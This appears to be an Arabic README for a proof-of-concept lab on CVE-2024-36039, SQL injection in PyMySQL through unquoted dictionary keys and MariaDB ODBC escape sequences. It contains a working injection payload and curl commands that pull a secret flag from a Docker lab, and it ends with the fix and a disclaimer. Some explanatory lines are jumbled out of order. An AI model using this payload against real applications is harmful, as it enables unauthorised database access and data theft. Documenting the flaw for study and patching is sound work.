
PoC لـ CVE-2024-36039: إثبات حقن SQL عبر خلل تسلسل الكائن إلى سلسلة نصية في PyMySQL
مختبر متكامل وقابل لإعادة الإنتاج لإثبات المفهوم (PoC) للثغرة CVE-2024-36039، يوضح كيف يمكن تصعيد ثغرة حقن كائنات في PyMySQL (الإصدارات <= 1.1.0) إلى حقن SQL كامل باستخدام تسلسلات هروب ODBC في MariaDB.
CVE-2024-36039 هي ثغرة في PyMySQL، وهي مكتبة عميل MySQL مكتوبة بلغة Python خالصة.
عندما تستقبل الاستعلامات المُعاملات (مثل: execute("SELECT * FROM table WHERE data = %s", (my_dict,))) قاموس Python حيث تكون المفاتيح كائنات مخصصة بدلاً من سلاسل نصية قياسية، يستخدم PyMySQL طريقة __str__ أو __repr__ الخاصة بالكائن لتسلسله إلى سلسلة SQL.
الخلل: ينسى PyMySQL تخطي (التغليف بعلامات اقتباس مفردة) السلسلة الناتجة لمفتاح الكائن.
يؤدي ذلك إلى حقن سلسلة نصية خام وغير مقتبسة مباشرةً في عبارة SQL بتنسيق قاموس: {UnquotedObjectString: 'EscapedValue'}.
بمفرده، فإن حقن {UnquotedKey: 'Value'} في استعلام MariaDB سيؤدي إلى ظهور خطأ 1064 Syntax Error لأن {} ليس صيغة بيانات SQL قياسية.
ومع ذلك، يدعم MariaDB/MySQL تسلسلات هروب ODBC، والتي تستخدم الأقواس المتعرجة {}. لتجاوز الخطأ النحوي، يجب أن تكون السلسلة التي تلي { مباشرةً كلمة ODBC صالحة (مثل: d, t, ts, fn).
fn/* عبر طريقة __repr__ الخاصة به.*/ 1} UNION SELECT 1, flag, 3 FROM secret -- .SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : يتعرف MariaDB على بداية دالة ODFC العددية./*: "'*/ : يتعامل MariaDB مع هذا على أنه تعليق كتلة (block comment). يتم تجاهل النقطتين : وعلامة الاقتباس الافتتاحية ' الناتجة عن PyMySQL تمامًا! 1} : يكمل دالة ODBC (ويُرجع فعليًا العدد الصحيح 1). UNION SELECT 1, flag, 3 FROM secret : يتم تنفيذ حمولة SQL المحقونة.النتيجة: حقن SQL مثالي يتجاوز منطق التطبيق ومعاملات PyMySQL على حد سواء!
استنسخ هذا المستودع وقم بتشغيل البيئة:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(انتظر حوالي 15-20 ثانية حتى تتم تهيئة حاوية MariaDB بالكامل).
أرسل طلب JSON قياسيًا. سيقوم الخادم الخلفي بتحويل مفتاح JSON إلى كائن CustomKey.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
الاستجابة: ستحصل على خطأ صياغة SQL يشير إلى أن {yamato: "'Any_value'"} عبارة عن SQL غير صالحة، مما يؤكد نقطة الحقن.
احقن حمولة تسلسل هروب ODBC لتجاوز خطأ الصياغة واستخراج العَلم المخفي من جدول secret.
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
الاستجابة (تم الاختراق!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
لإصلاح هذه الثغرة، قم بترقية PyMySQL إلى الإصدار 1.1.1 أو أحدث.
في الإصدارات المُصححة، يضمن المطورون أن جميع مفاتيح القاموس، بغض النظر عن نوعها، يتم تخطيها واقتباسها بشكل صحيح قبل إدراجها في عبارة SQL.
pip install --upgrade PyMySQL
إخلاء مسؤولية: تم إنشاء هذا المستودع لأغراض تعليمية وبحثية فقط. لا تستخدم هذه التقنيات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
© 2026 بواسطة zenniskayy. صُنع من أجل إنترنت أكثر أمانًا.
-- '"} : يتجاهل تعليق SQL باقي البيانات الزائدة ('}).